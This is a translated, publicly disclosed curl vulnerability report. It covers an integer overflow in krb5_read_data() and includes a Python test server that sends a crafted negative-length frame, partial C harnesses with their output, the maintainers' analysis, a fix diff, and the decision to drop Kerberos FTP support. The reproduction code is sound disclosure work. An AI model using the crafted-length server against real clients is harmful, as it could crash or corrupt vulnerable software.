整数溢出在krb5_read_data()中导致(可能的)大规模recv()写入
报告摘要
在krb5_read_data()函数中存在两个问题(其中一个令人惊讶地未被发现):
问题 #1:以下代码块可能导致整数溢出,当值被包装为负数时,后续检查失效:
1
2
3
|
len = (int)ntohl((uint32_t)len);
if(len > CURL_MAX_INPUT_LENGTH)
return CURLE_TOO_LARGE;
|
这会完全破坏此处的逻辑:
1
2
3
|
char buffer[1024];
nread = CURLMIN(len, (int)sizeof(buffer));
result = socket_read(data, sockindex, buffer, (size_t)nread);
|
由于-1(假设)小于1024,nread将作为(size_t)-1传递,这将包装为一个巨大的数字。
这最终会传递到Curl_conn_recv,其中data[1024]和nread == ~SIZE_MAX)。这似乎会导致OOB读取,因为缓冲区只有1024字节长,而nread将是巨大的。
问题 #2:整个代码似乎已损坏。这个do-while循环在len非零时继续。但随后len=0被传递给decode()。随机猜测,我认为应该传递curlx_dyn_len(&buf->buf)而不是len。
受影响版本
自引入以来所有版本似乎都受影响。
复现步骤
设置完整的krb环境非常困难和烦人。这个PoC更容易,演示了问题,同时模拟了相同的代码:
repro_server.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/env python3
import socket, struct, argparse, sys, time
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--port", type=int, default=9999)
ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
help="4-byte big-endian length to send (e.g. 0x10 or 16)")
ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
args = ap.parse_args()
payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
netlen = struct.pack("!I", args.netlen & 0xffffffff)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", args.port))
s.listen(1)
print(f"listening on :{args.port} …")
while True:
conn, addr = s.accept()
print("client:", addr, " sending frame len=", hex(args.netlen))
try:
conn.sendall(netlen)
if args.netlen:
conn.sendall(payload)
time.sleep(0.2)
finally:
conn.close()
if __name__ == "__main__":
main()
|
krb5_len_bug_harness.c:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness 127.0.0.1 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
// ... 完整代码见原文
|
运行它们:
1
2
|
python3 repro_server.py --port 9999 --netlen 0x80000010 &
./krb5_len_bug_harness 127.0.0.1 9999
|
我们得到:
1
2
3
4
|
$ ./krb5_len_bug_harness 127.0.0.1 9999
client: ('127.0.0.1', 43974) sending frame len= 0x80000010
NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.
realloc: Cannot allocate memory
|
演示了此代码已损坏。
额外信息
问题现在在于是否可利用。我可以给出一个可靠的:“我不知道”。
这是另一个可以测试的PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
// ... 完整代码见原文
|
构建并运行./a.out poc时,不会引起任何问题:
1
2
|
$ ./a overflow
krb5_read_data_vuln returned code: 2
|
发生了什么?“问题"是这个调用:
1
2
|
int fd = data->conn->fd[sockindex];
ssize_t r = recv(fd, buf, blen, 0); // 将'blen'直接传递给内核
|
blen现在实际上是18446744071562072064,以下调用实际上是:
1
|
recv(fd, buf, 18446744071562072064, 0);
|
这失败了,因为这甚至超出了我们的整个堆栈,并且recv()在我的系统上足够智能,不允许这样做;它失败并显示:
1
|
strerror(errno): Bad address
|
这确实意味着"系统在尝试使用调用指针参数时检测到无效指针地址”。
我没有进一步调查是否可能写入满足内核限制的内存量,并且我对其他系统及其工作原理了解不够。
影响
摘要:由于整数溢出导致的OOM写入,或者可能完全没有影响(由于recv()的内核限制)。
整个函数看起来也损坏了(len相关的东西)。
开发者回应
dgustafsson (curl staff):感谢您的报告,我们将在有机会调查后尽快回复。
bagder (curl staff):类型转换确实是个问题,可能导致基于堆栈的缓冲区溢出。似乎很难在不简单崩溃的情况下利用此漏洞。攻击者如何将数据量限制为仅用适当数量覆盖缓冲区?
此外,正如您所说,decode调用已损坏,然后使此函数失败,这意味着没有人可以成功使用它!看起来我在8.8.0版本(2024年5月22日发布)中引入了该错误,这可能证明自那时以来没有人(成功)使用过此代码…
在8.8.0之前的krb5.c代码看起来不容易受到攻击,因为它在realloc时失败:
1
2
3
4
5
6
7
8
9
10
|
if(len) {
/* only realloc if there was a length */
len = ntohl(len);
if(len > CURL_MAX_INPUT_LENGTH)
len = 0;
else
buf->data = Curl_saferealloc(buf->data, len);
}
if(!len || !buf->data)
return CURLE_OUT_OF_MEMORY;
|
修复方案
bagder (curl staff) 提供了修复方案:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
diff --git a/lib/krb5.c b/lib/krb5.c
index b041d2f227..33655ec1c9 100644
--- a/lib/krb5.c
+++ b/lib/krb5.c
@@ -525,46 +525,47 @@ socket_write(struct Curl_easy *data, int sockindex, const void *to,
static CURLcode krb5_read_data(struct Curl_easy *data, int sockindex,
struct krb5buffer *buf)
{
struct connectdata *conn = data->conn;
- int len;
+ uint32_t len;
CURLcode result;
- int nread;
+ size_t nread;
+ int rc;
result = socket_read(data, sockindex, &len, sizeof(len));
if(result)
return result;
if(len) {
- len = (int)ntohl((uint32_t)len);
+ len = ntohl(len);
if(len > CURL_MAX_INPUT_LENGTH)
return CURLE_TOO_LARGE;
curlx_dyn_reset(&buf->buf);
}
else
return CURLE_RECV_ERROR;
do {
char buffer[1024];
- nread = CURLMIN(len, (int)sizeof(buffer));
- result = socket_read(data, sockindex, buffer, (size_t)nread);
+ nread = CURLMIN(len, sizeof(buffer));
+ result = socket_read(data, sockindex, buffer, nread);
if(result)
return result;
result = curlx_dyn_addn(&buf->buf, buffer, nread);
if(result)
return result;
- len -= nread;
+ len -= (uint32_t)nread;
} while(len);
/* this decodes the dynbuf *in place* */
- nread = conn->mech->decode(conn->app_data,
- curlx_dyn_ptr(&buf->buf),
- len, conn->data_prot, conn);
- if(nread < 0)
+ rc = conn->mech->decode(conn->app_data, curlx_dyn_ptr(&buf->buf),
+ (int)curlx_dyn_len(&buf->buf), conn->data_prot,
+ conn);
+ if(rc < 0)
return CURLE_RECV_ERROR;
- curlx_dyn_setlen(&buf->buf, nread);
+ curlx_dyn_setlen(&buf->buf, rc);
buf->index = 0;
return CURLE_OK;
}
static size_t
|
最终决定
bagder (curl staff):经过一夜思考这个问题,我想这样进行:
即使此报告标识了缓冲区溢出,我们也不认为它是漏洞,因为奇怪的巧合是,代码从引入问题的同一提交开始完全损坏,因此无法工作,用户因此不会因溢出而被利用或遇到问题。
与其尝试如上修复此代码,我想使用这个意外证明此代码在现代curl中未使用,而是完全放弃对Kerberos FTP的支持。我正在为此进行本地提交。
jimfuller2024 (curl staff):稍微尝试了一下 - 代码路径已损坏,同意Daniel的提议前进方式。
报告状态
bagder (curl staff) 关闭了报告并将状态更改为Informative。
不被认为是安全问题。主要是运气好。
报告于2025年9月18日公开披露。
严重性:低(0.1 ~ 3.9)
弱点:整数溢出
CVE ID:无
赏金:无